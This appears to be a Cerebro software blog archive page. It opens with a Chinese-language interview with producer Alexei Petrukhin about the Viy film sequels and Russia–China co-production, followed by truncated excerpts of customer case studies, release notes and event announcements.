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案例分析俄罗斯电影集团有限公司成

我们有了 Cerebro 客户的精彩新故事。这一次,我们采访的是俄罗斯电影集团公司的电影制片人、导演阿列克谢·彼得鲁欣以及 VFX 制片人玛丽亚·扎伊科芙斯卡娅,谈论了《魔鬼的精神》(Viy) 续集的发布,他们在中国制作影片的经历,以及将来的计划。 阿列克谢,请谈谈你是怎么走上电影这条职业道路的。你大学读的第一个专业是体育领域的管理经济学,第二个专业是法学,成为了一名法学博士。在此过程中,从事电影业的念头是在什么时候出现的?这是你童年的梦想吗——把美好带向世界? 阿列克谢·彼得鲁欣:你说得很对。人们通常不会说电影制作是一项使命。对我来说,这一切都是从娱乐消遣开始的。你刚才所说的一切对我而言都是某种包袱——在国家崩溃又重建期间我的生活经历给了我潜力,给了我体面的收入,让我接触到电影的魔力。坦诚地说,那时候主要是虚荣心作祟。直到后来,我才明白电影不仅仅是娱乐,对任何国家来说它都是一个严肃的行业。 创作电影的人本质上和医生一样重要。有治病的医生,也有伤人的医生。电影制片人也肩负同样的责任。你可以用你的电影给世界带来美好和善良的东西,激励人们,这是电影最应该做的。电影还需要团结人们,教给他们一些东西,告诉他们一些新的东西。但是你也可以通过拍一部电影,让人们失去生存的意志。 当你遇到严重困难时,你面临着一个抉择——要么战斗,要么改变做法。正是在那段时间里,我开始意识到电影制作是如何融入我的生活的,我自己也是多么的想从事这份工作。我决定把拍电影作为我的主要职业,并开始朝着这个方向努力。 当你很小的时候,你有没有想过有一天你会出演、制作电影或是成为导演? 不,我从未有过那种梦想。小时候有一段时间,我想加入马戏团,扮演小丑。与此同时,我是一个非常认真的孩子,成绩优异,是尖子生,不仅仅是在我的班上,在全校也是如此。我不是很愿意说出这些事,但从内心来看,我确实有过这种梦想。这是我当时与娱乐行业唯一有关联的想法。 我们确实总爱看电影,有时候会去电影院看几十遍同样的电影,这很激励人心。例如,印度的《迪斯科舞星》、俄罗斯的《20世纪的海盗》,以及所有成龙的电影。 然后,在80年代,我有了自己的音像租赁店,和电影有了点联系,但当时我无意涉足电影业,我只是为了赚钱。 在你的网站上写着:阿列克谢·彼得鲁欣——制片人、导演、编剧。为什么没有提到你也是一名演员? 在每一部电影中,我总是会客串一个小角色——只是为了搞笑或是参与一下电影,但在某个时刻,我意识到了我真正的天赋。当然,电影是一种美妙的错觉,借助于计算机图形、特效、高超的编辑、音乐、声音设计,你甚至可以让最平平无奇的演员成为人们喜爱的超级英雄。 人们经常问我,当我作为制片人要为电影注资时,我是如何选择电影的。但实际上钱是来源于投资方,制片人的工作是根据一种想法去创作电影,并将其呈现给观众。你首先得有一种想法——这种想法是必要的、有用的、好的、善意的,然后你确定好它要表达的内容以及表达的对象。之后,你需要挑选一个编剧,如果你已经确认了人选,那么你可以选择一个理解中心思想并能与你分享观点的导演和摄影师。 例如,我们有阿图尔·阿比季诺夫和我们一起工作。他热衷于中国和印度这些国家的文化,历史以及东方武术。所以对他来说,从事电影制作不仅仅是一份工作,而是生活本身。制片人的目标是将所有这些环节串联起来,使之发挥作用,找到资金、赞助方、投资方,同时自己需要承担起一切责任。虽然有时候,作为一个团队,我们也经常投入资金,成为自己项目的投资者。 看来电影对你来说是一个有着非常特殊的含义。之前当你谈到电影奖项往往授予给那些把自己国家最糟糕的一面展示给别人看的导演时,你显得很激动。 我的意思是,如果你展示你自己国家最糟糕的那一面,那么除了我们都想参加的电影节——在戛纳、威尼斯、德国——你将有更大的获奖机会。如果你拍了一部直接号召全国革命的电影,那么好莱坞会很欣赏你,甚至给你颁发奥斯卡奖和金球奖,全世界都会了解你。这样在你自己的国家,每个人也都会去观看、下载、购买,即使是不情愿之举。然后有一些人会提出负面评价,并加入反对派。电影以这种方式被当作大规模杀伤性武器,这不是阴谋论。许多人说:制作美国大片,你就会获得排片机会。于是你尝试着拍那种电影,但是影片市场容量非常小,而且都由寡头控制。如果你要拍电影,那你就需要观众,在中国也是如此。但是在印度和中国,人们不会放弃——他们国家兴盛,社会团结并拥有真正的爱国精神。 当国家被征服时,首先被占领的是自然资源和大众媒体。电影是最强大、最有感染力、最普遍的大众媒体形式。感谢上帝,我们学会了阅读报纸,即使在当下,社会仍然相信报纸,不管报纸里写了什么。许多人说:“无风不起浪。即使他们撒了一点小谎,但有一些仍是事实。”只有一小部分人意识到,有时候为了引起轰动,媒体会夸大或编造东西。记者其实就像导演一样。你在采访我,但真正的目的不是公关,而是激励读者,这样读者就会学到一些新东西——这是你所起的教育功能。任何新闻都可以用不同的方式传播。你可以把自己锁在家里,不问世事,害怕一切,也不想再活下去。但是信息传播的方式也可以让人们在面对困境时能更快地了解情况、更冷静地思考和做出反应。 请你用一两句话描述一下俄罗斯电影集团公司实际上在做什么业务? 这是一个由志同道合的人组成的团队。人们称我为团队创始人和所有者,但事实并非如此。本公司有数位法人、一支团队、董事、创始人、合伙人和投资者。我是一个代表人、一位参与者和一名制片人。这不是公司章程中规定的,我只是代表这支团队。我们想参与创建俄罗斯自己的电影品牌。我们想推出能唤醒和强化俄罗斯基因的电影。 这就是为什么你决定在2008年创建自己的品牌? 从商业意义上来说,考虑到全球对俄罗斯人的态度,这个名字是没有优势的,可我们并不害怕。我们承认会面临一些困难,但是我们相信在大约10年后,俄罗斯电影将会成为一个吸引眼球的品牌,人们开始对此产生兴趣。俄罗斯电影集团和中国电影集团已经开始了一个联合项目。中国电影集团是一家由数十亿元资金资助的国有公司,负责制作国产电影,但它肩负着与我们同样的使命。从另一方面来说,我们是一个私人公司。尽管如此,我们还是得到了电影基金会和文化部的支持,这点令人欣喜。即使我们没有成为一家国有公司,我们仍然可以成长,并为这个行业带来许多有用的东西。 为什么中国会出现在续集的第二部《龙牌之谜》项目中? 最初,第一个《魔鬼的精神》计划以果戈理为基础,第二个命名为《从特兰西瓦尼亚到莫斯科游记》,第三个——《中国游记》。第四部电影计划为《印度游记》。我们知道我们会前往中国,然后这部电影也会有龙的元素。每个国家都有自己的神,这些神在形象和能力上与异教徒维伊相似。 当我们开始研究不同民族的信仰时,我们发现有无数的物质守护着死亡之地和从活人之地进入死亡之地的通道。我们合并了第一部和第二部电影,并于2014年以《魔鬼的精神》3D的名义发行影片。因此,《中国游记》成为第二部电影,并被命名为《龙牌之谜》,而《印度游记》成为第三部电影。 你在中国呆了多长时间? 2015年我飞了52次行程,2016年63次行程,2017年24次行程。今年的话,我明天就要飞往中国,这将是我的第16次行程。目前我去得次数少了些,但是到年底的时候可能会再去很多次。 以百分比计算,第二部电影在俄罗斯和中国之间的分工情况如何?这部电影有多少是在俄罗斯拍摄的,有多少是在中国拍摄的? 如果是说拍摄过程的话,大约10%在莫斯科,20%在布拉格,70%在中国。如果是说后期制作,90%是在俄罗斯的工作室完成的,只有10%和配音有关的工作将在中国和美国完成。 第一部魔鬼的精神是2014年票房最高的电影,你因此获得了年度最佳制片人的称号。获得这一奖项并为人津津乐道是种什么样的感受? 从一方面来说,你有了更多的责任。另一方面,它也给了你一定的自主权,你获得了更多来自合作伙伴和片商的信任。你的内心有一种满足感,意识到你所有的考虑都是正确的,你对电影制作有所了解。是的,现在我会对拍摄稍微做一些改变,我觉得还可以做更多的工作。但是我们仍然很满意,这部电影的首日和首周末票房记录至今还没有被任何其他俄罗斯电影打败。这就是为什么我们希望用第二部《龙牌之谜》能将这个标准提高一点。当然,《决胜三秒》的整体票房给人留下深刻印象,也激发了人们的积极性,因为它展示了我们市场的可能性和容量,我们将不懈追求这一点。尽管如此,我们至少会努力保留自己创下的记录。 当前没有人认识制片人,也几乎没有人认识导演,你认为这是俄罗斯电影业的问题吗? 好莱坞是一个伟大例子,证实了电影行业可以很好地服务于国家,它甚至比军队更重要。他们的电影影响了整个世界,让全世界相信美国是最强大、最富有、最有感染力的国家。美国有着发达的电影新闻和电影评论业,旨在推动电影业的发展。他们有一个基本的、非常简单的规则:要么你赞扬业内的同事,要么你什么也不说。这很有帮助。 即使一个美国人没有看过电影,他们仍然会称赞它,即使显得不那么自然。没有人会在背后诽谤别人的电影。但不幸的是,在我们这里,坏事比好事更容易见诸报道。基本上在美国,人们写的是成功,而在这里,更多的是关于失败、丑闻和谣言。 因此,如果你想在俄罗斯出名,那么你就需要指控、侮辱、欺负某人,或是出现灾难性的差错,然后记者会站出来大书特书。那时候每个人都会认识你,否则在这里很难出名。 你曾经在一次采访中说,你倾向于在困难中组建团队。这是怎么回事?有没有人曾经和你说:“我想和你合作,雇我吧!”? 你拥有的瑕疵越多,你就越有可能加入我们的团队。当然,人们都希望与富有创造力和闪光点的非凡人士合作。但如果你是一个制片人,你的主要目标就是激发每个人的创意,团结他们,将所有这些火花引入一堆火之中,这样它就会给每个人带来温暖。这是最难的部分。 请谈一谈有关《印度游记》电影和未来项目的信息。 :《印度游记》系列电影题为《印度游记——临近永生》,是一个非常具有感染力的故事,它将包含我们在前几部电影中学到的所有最好的东西。我觉得我们会度过一段非常愉快的时光。我唯一担心的是:我们希望这部电影中的所有内容都能顺利进行,但又为自己设置了一个高标准,想运用新的特效、新的尺度、服装道具和人物。而我不知道我们要如何做到这些,如何才能完成任务,即使我确信我们将会这样做。我们已经拍摄了一些镜头。现在正在放慢速度,因为我们在中国的协调工作遇到了一些麻烦。在电影基金会和文化部的支持下,我们取得了一些进展,对此我们非常感激。 这部电影将由印度-中国-俄罗斯联合制作。我们尝试将这三种文化结合起来。这部电影应该会对每个国家的观众都有吸引力。我们在电影剧本上花了很长时间,以确保不重蹈覆辙。 印度的知名影星将参与到这部电影中,所以热爱印度电影的人会很高兴。印度方面的同事已经拜访了我们,现在我们的专家将前往印度,呆两三个月,在他们的工作室协调一切。他们是一些印度最大的电视剧制片商,每年制作2000集,这意味着他们每天都得制作五集,那太疯狂了。起初我以为是我理解错了,但这是真的。在那里,我们将尝试把电影转移到Cerebro系统中,以使我们的后期制作合作更有效率。 根据电影情节,我们的角色将出现在印度,那里冒出了阿修罗,即僵尸。刚开始,人仍然可以保持自我意识,只是很少有人知道这一点。我们还计划再次采用中国、哥萨克元素,我们的绘图师也会再次带来他的科学故事,还有印度公主,他们用舞蹈、功夫、军刀和赫瑞加酒解放了印度人民,拯救了世界。电影里会有怪物,会有僵尸,我们也离不开魔法元素。 除了续集,你还有什么计划? 《罪与罚》。这将是一部基于陀思妥耶夫斯基小说的有很强感染力的电影。故事将从雅顿·拉斯柯尔尼科娃的角度展开,她来到这里寻找她的哥哥。在书的结尾,罗丹被流放。他给妹妹写了封信,说恶魔拥有人们的灵魂,地球处于危险之中。人们都认为他是疯子。雅顿出发去寻找他,去了他曾经去过的所有肮脏的地方,遇到了能召唤灵魂的神秘组织。这在风格上类似于盖伊·里奇的《夏洛克·福尔摩斯》,或者斯科塞斯的《纽约黑帮》,这是一个与现实相结合的幻想故事,节奏明快而生动。 我们也完成了《最后的考验》这部影片,这是一部惊悚片和戏剧。事实证明,它具有重要的社会意义,是一个团结、鼓舞人心的故事。观众将在今年02月看到它。 除此之外,我们正在拍摄《退群》,讲述的是关于社交媒体和所谓死亡团体的故事。我们还完成了两部喜剧的拍摄——《希腊疯子》和《我既非如此,也非那般》。虽然更准确地说,他们是冥想者和哲学家,但也有小的元素幽默。我们还将针对年轻人推出一部关于俄罗斯嘻哈音乐的电影,电影名为《牛肉》。这些是我们在一年内可以推出的电影,而大规模发行仍然需要两三年时间。我们本可以做得更快更强,但是我们目前没有足够的投资。 我要感谢整个Cerebro管理团队,和你们的合作十分富有成效。我也衷心希望我们的合作伙伴和同事也能充分利用机会,与贵方开展合作。 请介绍一下你自己,以及你在工作室主要负责的工作。 Maria:我叫 Maria Zaykovskaya,我是一名视觉效果 (VFX) [...]

CASE STUDY: 3D SPARROW STUDIO

Сerebro continues publishing interviews with customers. We have talked to head of HR Anna Khoroshilova and linear producer Igor Kazantsev from 3D Sparrow animation studio about their cartoon Booba, hiring practices and experience with projects management systems. What does the 3D Sparrow studio do? Anna Khoroshilova: The company's full name is 3D SPARROW GROUP LIMITED. Our [...]

2018.09.10 — 最新发布:Cerebro “De Cerca”

自从2018年伊始,我们就着手准备这次发布,结果想当棒:) 为了更方便您的使用,我们当下在多地推出云数据中心。具体而言,有北美的旧金山,欧洲的纽伦堡,亚洲的新加坡和北京。接下来还有:多伦多和班加罗尔。 在Cerebro测试页面注册时,您可以选择您的所在地区。 这将在相当大程度上加快应用程序与数据库的互动, 包括为测试、团队和工作室定价计划所建立的各种数据库。 给我们发送一条消息,我们会把您的项目转到距离您最近的服务器。 服务器部件需要更新才能兼容工厂规划的移动客户端。我们很抱歉,花了很长时间才完成这项工作。Linux 和 Windows 服务器尚未开始使用 Docker 技术。请与我们联系,我们会帮您完成所有必要的更新。 移动版 惊喜!这款令人期待已久的的移动 app 其外观和手感都走在时尚的前沿。 这是一款性能齐全的 app: 包括了收件箱、任务列表、项目导航等功能; 支持所有元素、偏好、评论、报告的搜索; 支持文件和照片的上传和下载;支持图片浏览和视频的代理文件。 这款移动 app 在安卓和 IOs系统下均可使用 ,功能完全相同。 本地化和技术支持 网站和用户的控制面板目前支持英文、中文、韩文、日文和俄文。 技术支持端口现在对任意渠道全天候开通:不论是电话、即时聊天还是电子邮件。电话支持英语和俄语,即时通讯和电邮支持英文、中文、韩文和日文。 在 Cerebro 和 Mirada 桌面客户端已添加了微软内置翻译模块;该模块在包括中国在内的任何国家均可使用。我们在未来的版本中,还会将该模块整合到移动 app 当中。 中国用户:您的控制面板允许您用支付宝进行付费,很快也会支持微信付费。 连接器 敬请期待 Cerebro——在您所用的应用中。. Tentaculo 允许您直接使用各种版本的 app 文件,所以就不再需要 Explorer 或 Finder。您无需再为找到文件路径或记住文件名而劳神。 连接器在下列软件产品中可供使用: — Autodesk Maya、3ds Max、Revit 和 Autocad — [...]

CASE STUDY: SOUZMULT STUDIO

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. We have talked to the CEO Boris Mashkovtsev and the HR director Daria Strekalova of the legendary Soyuzmultfilm animation studio about implementing new technologies, development plans, and hiring practices. You are known as the head of the Aeroplane Productions […]

2018.04.03: TENTACULO — NEW CEREBRO CONNECTOR

Tentaculo — The Cerebro Сonnector Embedded in Your Creativity Apps Autodesk Maya and 3DS Max, SideFX Houdini, Foundry Nuke  Cerebro Tentaculo links your network projects with Cerebro projects. This connector allows you to work with files and different versions directly from the apps, so there is no need to use the Explorer or Finder. You […]

CASE STUDY: OKTA STUDIO

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. There is our new interview with Vitalijus Zukas from OKTA studio. — How did you get into the industry, where have you studied? — I got there directly from my university, where I majored in geology. What can possibly […]

2018.02.28 – ADDING IMAGES TO MESSAGES, STEREO VIEW, AND OTHER FEATURES

Mirada Commenting Click on the comment tag to view the comment. Sidebar hiding enabled. Drag and Drop New ways to add files to Mirada: – adding to a playlist; – adding to current file for comparison Loopback by default If you add a file, it loops by default. Color Correction Ability to set gamut, exposure […]

2018.02.05 – 360° VIDEO AND IMAGES SUPPORT AND OTHER FEATURES

Mirada – We’ve added Undo/Redo buttons in the comment mode. – The Onion Skin mode is now available as a separate comment mode. It enables quick sketches on video file frames to simplify commenting on animation. – A new feature allows you to add files for comparison directly to the timeline. Now you can select […]

CASE STUDY: POLDEN STUDIO

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. There is our new interview with Dmitry Ostroglyadov from The Polden studio. The Polden studio, led by the General Producer Dmitry Ostroglyadov, creates a special advanced interactive technology ecosystem around itself. High technology and impeccable taste helped the studio’s […]

2017.12.25 – NEW MIRADA, SEPARATE COMMENTS, UNITED TIMELINE AND OTHERS

Mirada – New interface – Distinct comments The new version of Mirada creates specific comments, and every comment’s author is displayed. Comments are viewed consecutively, and they may contain text, tag, sketch, duration or an audiovisual track. Comments may be replied to Mirada directly. – Possibility to set task status from Mirada – Unified timeline […]

CASE STUDY: KINOATIS

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. Our new interview features Vadim Sotskov, CEO of the KinoAtis studio. — Vadim, we would like to talk about your company. How was it developing and what are you doing now? — The company was founded quite a long […]

CASE STUDY: Bahubali VFX, part 2

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. Our new interview features Alexander Oplanchuk from ‘Baahubali 2: The Conclusion’ VFX Team. — What was your start in the industry, where did you study, and how did you take part in movie-making? — Good afternoon. I started 3D […]

Asia Road Trip

Here it comes! A Cerebro Road Trip to the countries of Asia. During the whole month of September we are going to visit some of most important countries of Asia, and with their help we will be able to find some new agents for our services. We have products: – Cerebro https://cerebrohq.com/ the environment for […]

USER CASE: PIK Group

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. There is our new interview with Alexey Duk from PIK Group. — We have known each other for quite a bit. You were studying architecture, am I right? — Yes. — So why did you start computer graphics? — I […]

CASE STUDY: Bahubali VFX

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. Our new interview features RC Kamalakannan from ‘Baahubali 2: The Conclusion’ VFX Team. —How did you get into industry and what were you doing before that? — I have been engaged in computer graphics since 1989. Earlier, I was doing […]

CASE STUDY: United 3D Labs

— Please, tell us a bit about yourself. What was your start in the industry, where you studied, and what are your duties in the company? — I have graduated from the Physics and Mathematics Department of the Peoples’ Friendship University of Russia. Long ago, in the year 1994, my friends and I created a […]

Annecy Mifa + Updates

Attending MIFA in Annecy? Be sure to visit us at booth 4C.19 on June 13-16! Discover new features, ask questions and and get demos. We love to communicate and will be happy to see you. Brand new Mirada design coming soon! Now even more functional. You will be able to make a comparison via curtain. […]

CASE STUDY: SILA SVETA

Cerebro resumes publishing interviews with representatives of corporate customers. We will talk with producers, project managers, and other industry professionals. Another interview features Vadim Vinogorov from the Sila Sveta interactive media studio. — Vadim, tell us how you got into the industry, where you studied, and what are your duties in the company now? — […]

PDF Support, extra video codecs and more

For everyone New Cerebro Cerebro Serpens Client for Windows, Mac Os X and Linux Operation operating systems. For Factory users: Database structure updated For Studio users: Cargador component updated Server Components Installation Guide Download Cerebro client Download server components Mirada Now we support a wide range of video compression codecs. We can quickly add new […]

CASE STUDY: Digitz Film

-Can you introduce briefly yourself, your company, and the history of the company? – My name is Felipe Morell. I am the executive producer and CEO of Digitz Film a production company in Columbia in South America. We have been a production company for five years, working in co-productions usually between Latin America, and the […]

New Version – Likes, Rating, Archived tasks and other

KWENT and Cerebro integration

NYC – SF – Annecy

This season we are going to visit some places around the globe to meet our customers and find more ways to make you happy with our product: Starting from May 26-30th we will stay in New York Then June 1-3rd enjoy San Francisco During June 14-18 we will exhibit at MIFA in Annecy In every […]

Announcement of changes in Home Plan

We are happy to announce that we have changed a name for our Home Plan. Now we call it Team Plan. But the most important thing is the plan itself: – Now you can purchase up to 10 users instead of 5 users as it was in a previous edition; – We have added more space to our […]

New Update – New Gantt Chart, Users Planning, Lines in Mirada

Release Date: Mar 16, 2016 You can read this short release notes or read Full one In this release we concentrated on an improvement of our planning tools. We call it Cerebro exacto. Couple of words about our new style of a main screen* The main pa Basic panels are switched using a  tabulator on the left. […]

New notifications system, new ffmpeg and other

Release Date: Oct 14, 2015 For everyone – New Cerebro Client for Windows, Mac Os X and Linux Server componentes: – Database structure updated – Cargador component updated Server Components Installation Guide Download Cerebro client Download server components   Optimization Database interaction was optimized to speed up adding, copying, moving tasks, assigning employees, editing time parameters for tasks. […]

New version of Administrator Account

April 13-16 MipTV conference (Cannes)

On April 13-16, we are planning to visit the MIPTV conference in Cannes. Be sure to visit us at the Russian Cinema Booth (R7. E40) where we will be presenting our newest Cerebro releases.  We are looking forward to show Cerebro to Animation / VFX crowd, because their feedbacks will be very valuable for us and for […]

Case Study: DA-Studio Animation

Lets begin with EXCLUSIVE teaser premiere of «Sergey Radonezh» and continue further interview with Maxim Alaev, head of compositing department at DA-Studio Teaser «Sergey Radonezh» – Maxim, we have known each other for a long time – about 14 years, I think. So let’s start with a brief history about you. How did you get into […]

Case Study: Render.ru Education Center

We continue the tradition and today we will talks with Tatiana Toropova, head of the RENDER.RU Center of Distance Learning   — Tatiana, could you tell us about the Render.ru training center? For example, about its history and when it was established? — Most of Runet computer graphics enthusiasts have long known about our site […]

October 13-16 MIPCOM conference (Cannes)

On October 13-16, we are planning to visit the MIPCOM conference in Cannes. Be sure to visit us at the Russian Animation Booth ( C16. A7) where we will be presenting our newest Cerebro releases.  We are looking forward to show Cerebro to Animation / VFX crowd, because their feedbacks will be very valuable for us and for […]

Make Cerebro Speak Your Language

Our translation community – http://translate.cerebrohq.com/ We have reward program for new language contributes, contact us – support@cinesoft.ru Getting Started – http://translate.cerebrohq.com/pages/getting-started/

Update – Hashtags, Free Mirada Pro and languages

Hashtags Hashtags are textual markers used to mark tasks, messages, and attachments. A hashtag is a specific word, but a given item can have several such markers. Hashtags can be used to perform searches either in the address bar or in the search tab. If you need to find all the tasks with the hashtag, […]

Fast Case Study: Prasad Group

Today we spoke with Himakumar Kilari, VP Post Production at Prasad Group Let’s begin with a brief history of your company. What is your profile? What do you do? Prasad Group was established in 1956 by the legendary filmmaker L.V.Prasad. Now Prasad Group has major production facilities and offices in India (Chennai, Mumbai, Hyderabad, Bangalore, Trivandrum, Bhuvaneswar, Kolkatta), […]

Case Study: Transparent House

Today Konstantin Kharitonov talks with Hideki Kawata, CG artist at Transparent House. KK: Can you introduce briefly yourself, your company, the history of the company? HK: Okay, first—history of the company. Transparent House was founded in 2004. They started out as a design visualization firm, creating photorealistic 3-D architectural renderings and animated walk-throughs of commercial and […]

India Road Show

From April 21th to May 2th we’re planning to visit a number of Animation / VFX facilities in Mumbai, Pune, Hyderabad with live product demonstration and presentations. We would like to show Cerebro to the India VFX / Animation crowd. Because their feedback’s will be very valuable for us and for further product development. Our […]

CPS Results

Welcome to CPS and opening of the Olympic Games

Update – References, search, spell checker

Task references in the task navigator Task references allow you to place the same task in several project branches without copying it. All the reference properties and the forum are inherited from the original task. It means that any message change/creation in reference or property change lead to the change in the original task. The […]

Mercury Visual Solutions new services

Mercury Visual Solutions is a rapidly growing post-house, focusing on the development of advanced post-production technologies. Our artistic & constructive team continually strives to provide our clients with the out most quality, always living up to the Mercury trustworthy reputation. The Mercury teams always takes extra care to cherish our clients’ vision, whilst cultivating it […]

Careers section on our website

I know a guy… who knows a guy … We are often approached with requests either to help find people for a project , or, vice versa, to suggest a project “to fit in”. This is quite obvious for us: though we are not headhunters, we sell software for project management, and thus deal with […]

Film Direction FX (Moscow)

CGEvent-2013 (Moscow) Nov 30 – Dec 1

We’re inviting your company to take part in the annual conference and exhibition devoted to Animation and Visual Effects in Russia. Our company has been a Co-Organizer of the conference for the last 5 years. The conference name is CGEvent Moscow, every year it is visited by 2000 CGI professionals from Russia, Ukraine, Belorussia and […]

Update – Added Chinese and French ​​plus SSL / AD

French And Traditional Chinese Added Now the interface of Cerebro is available in two more languages – French and Traditional Chinese This is still work-in-progress, but about 90% of the interface have already been translated into these two languages. We work together with our partners from Gemhorne for make Chinese friendly UI for users who […]

Update – Filters / User Traking / API

Task filter In the Navigator, in the “To Do List” and “On control” lists the possibility of filtering on the next properties has appeared: – The universe for those who are in multiple universes; – Task start time; – Progress; – Statuses; – Activities. For each task from the list a unique filter is used. The filter window […]

Case Study – “Petersburg”

We are proud to present a new cycle of interviews on how Cerebro is used in companies. This month we interviewed  Elena Chugunova and Anastasia Pashenkova, project managers at “Petersburg” animation studio. Please tell us about the history of your company. The “Petersburg” studio was created in March 2003. Our studio is the only one […]

Update – Task Status, Order and Some Other Stuff

Task Status Finally, now a task has the so desperately wanted parameter – STATUS.What does that mean?Status – is a task property that describes its current state. With the help of status it is possible to adjust the sequence of working stages on the task.What kind of statuses there might be ?Any.We have set up […]

CgEvent and Kiev Roadshow

Sorry this event will be only for Russian speaking customers.

March 5-28 EuroTrip

Here it comes! A whole European Road-show. During the whole month of March we are going to visit some of our most important local-reseller partners in the European Union, and with their help we will be able to find the right words with the local customers. The whole month is packed with meetings in the […]

Cerebro Road Map Webinar

Sorry this Webinar will be only for Russian speaking customers.

New Special Offers

Startup Pack If your company is less than two years since its foundation, we offer a special price rate for the first six months of Cerebro use. For $ 500, we are ready to provide for 6 months: – Cerebro Studio 15 licenses, – Mirada Pro – Cerebro plug-in 2 licenses. That price includes, software […]

The Winners Take It All. CGEvent-2012.

During the last weekend the lobby and six conference halls of the Holiday Inn Sokolniki were overcrowded with more than 2000 CGI professionals from all over the ex-USSR territory. The Tenth CG Event Moscow was the largest professional conference in Russia, with almost 90 lectures and seminars in 2 days and 7 concurrent sections. One […]

Update – Task Tracking and Updated Documentation

Task Tracking Following the large amount of requests from the VFX and animation studios, a new tab – “Task Tracking” – has been created. It is designed for more intuitive “matrix” displaying the current situation on the project, divided into standard process steps. In order that this tab function properly, the project must have a […]

New Cerebro Update – Two-Way Communication by email

We gladly present a new Cerebro Serpens version. Its major difference from the previous versions is a possibility of two-way communication in the Forum between Cerebro users and the people who do not have full accounts in Cerebro (for more understanding we will call them “Email users”). See below how it works, and also about […]

[Update] IBC Road Show

Photos from IBC 2012 Who missed the speech by James Cameron? 🙂   On September 7-13 we are planning to visit the IBC conference in Amsterdam. Straight after the show we will have several meetings with Postproduction/VFX facilities there, for them we will have our live product demonstration and presentations, will show them some new […]

Case Study: Scream School

«We are no different from any real studio: the student who successfully passes our  test, is no different from the expert who is handling  over real work» Today Konstantin Kharitonov  talks with Ekaterina Cherkes-Zade, the director of Scream School, a computer graphics school and the Moscow film school. – Ekaterina, Please tell us in brief about […]

Case Study: Trigraph

Today Konstantin Kharitonov talks with the heads of Moscow VFX-studio Trigraph – Arkady Dubinyn (Supervisor) and Olga Nikulina (Producer). Let’s begin with a brief history of your company, what is your profile, what do you do? Arkady Dubinyn: The Trigraph company was created at the end of 2004, it was established by three co-founders: Vladimir Sokolov, Sergey Zaporozhcev […]

SAP Business One and Cerebro – Survey

The Cinesoft company scores an opportunity to create integration between Cerebro and SAP Business One. Therefore, we’re asking you to take a short survey which will help us figure out the usefulness of such an integration. SAP Business One is an enterprise resource planning (ERP) solution for small and medium-sized businesses, as well as divisions and […]

May 14-16 Warsaw Road Show

On May 14-16 we’re planning to visit a number of Postproduction/VFX facilities in Warsaw, with live product demonstration and presentations. We would like to show Cerebro to the Polish VFX/ Post production crowd. Because their feedback’s will be very valuable for us and for further product development. And our local reseller will help us in Poland, so that […]

Cerebro’s new pricing Policy

Before there were an entirely pleasant news. Present news, probably are less pleasant. But they are not deadly. Starting from June 01, 2012 new tariff plans will be applied: Home – 9 usd per user per month, Studio – 29 usd per user per month, Factory – 59 usd per user per month, Corporation – 89 […]

Python API + Mirada with FFmpeg

A new Cerebro Serpens (Constellation of the Snake ) version has been released in order to change the old Cerebro Astro version that you were working with since 2010. The reason we call it Serpens: Serpens version if to compare with Astro version, will be a Software development Kit on the Python API base. Software […]

London Road Show February 21-23

Yes, we knew once it would happen. The time has come – we’re going to London! On February 21-23 we’re planning to visit a number of VFX and animation facilities in London, Bristol with live demonstrations and presentations. What’s on the menu this time? Cerebro, for sure. We’d like to show it to the UK […]

Cinesoft Partner Shortlisted For VES Awards 2012.

The 10th Annual VES Awards will take place on Tuesday, February 7, 2012 at the Beverly Hilton Hotel, LA, USA. The nominees for awards in 23 categories are announced, and we are pleased to congratulate our partners in Kiev, POSTMODERN company, nominated for Outstanding Visual Effects in a Broadcast Series with The Bomber project. As […]

New Visibility Policy and other stuff

New Visibility Policy For Groups And Users A new visibility policy takes effect in the current version. Visibility determines if a user is allowed to see other groups / users in various interface elements and whom he/she would see in particular. Visibility is configured on a separate Administrator panel tab – «Who Sees Whom». Visibility […]

Merry Christmas and happy New Year!

Dear golleagues! Please, accept our greetings in accordance with upcoming New Year holiday! We wish you a successful year full of technological innovations, ambitious projects, prevented clearance of deadlines and a lot of tasty ice cream!!Thanks for the cooperation, we hope that our relationships will be even more usefull in the future!  

Cerebro New Features

Access Rights Management Upgraded Access rights can be global (granted to the whole Universe) or local, task-specific. To adjust task-specific access rights pick the task (or project), go to   Task Properties tab and press the button . A new window will open: The upper list displays current groups and users who have access to […]

RA “Mandarin” – Case Study

This month, Konstantin Kharitonov talks to Dmitrii Filippov of Mandarin Ad Agency. Konstantin Kharitonov: Hi! Dmitrii Filippov: Hi to you too! (smiles). Is everything ok? Any trouble with the armed men? K.Kh.: No, not this time, everything is fine! But let’s be honest, things are pretty strict around here… Maybe a little too strict… D.F.: […]

Road Show – Kiev, 14-16 September. Part Two.

New CEREBRO: Some options and bugs fix

You may select the UI language Cerebro directly at login screen. You may choose avatar display option to show them (the menu Cerebro Astro – Settings – Display Settings): – on the left, center or right of the message header – or disable altogether. There is a new export Review option appear in MiradaPro (menu Review […]

“Smeshariki” get a 3D-volume with NVIDIA

Mirada Pro: Stereoscopic 3D Support + 3 New Features

CineSoft Ltd. launches a new version of the most popular Cerebro plugin – Mirada player. A new version of Mirada, named Mirada Pro offers four advanced features: Stereoscopic 3D support, Online reviewing sessions, Color grading, Reviews saved as standalone files in a user defined folder. 1. Stereoscopic 3D Support Cerebro professional users get a unique tool […]

New Cerebro version

User Avatars User avatars can be added to a user profile here:Main menu -> Cerebro Astro -> Profile… Universe administrators can attach avatars to material resources on Resources tab in Administrator window.Main menu -> Tools -> Administrator… Now every message in a forum can be identified by its creator’s avatar.You may change Avatar size in […]

Photos and presentations from 2011 OGIC

Mirada Pro Beta Testing Is Opened!

We are glad to inform you that the long-waited Mirada Pro Player beta testing is opened! Mirada Pro not only displays pics and video in stereoscopic 3d mode but gives you a unique tool for drawing and typing comments over it. Parallax adjustable comments! If you wish to take part in beta testing you’ll need the […]

New – Resource Reports and and сopy task

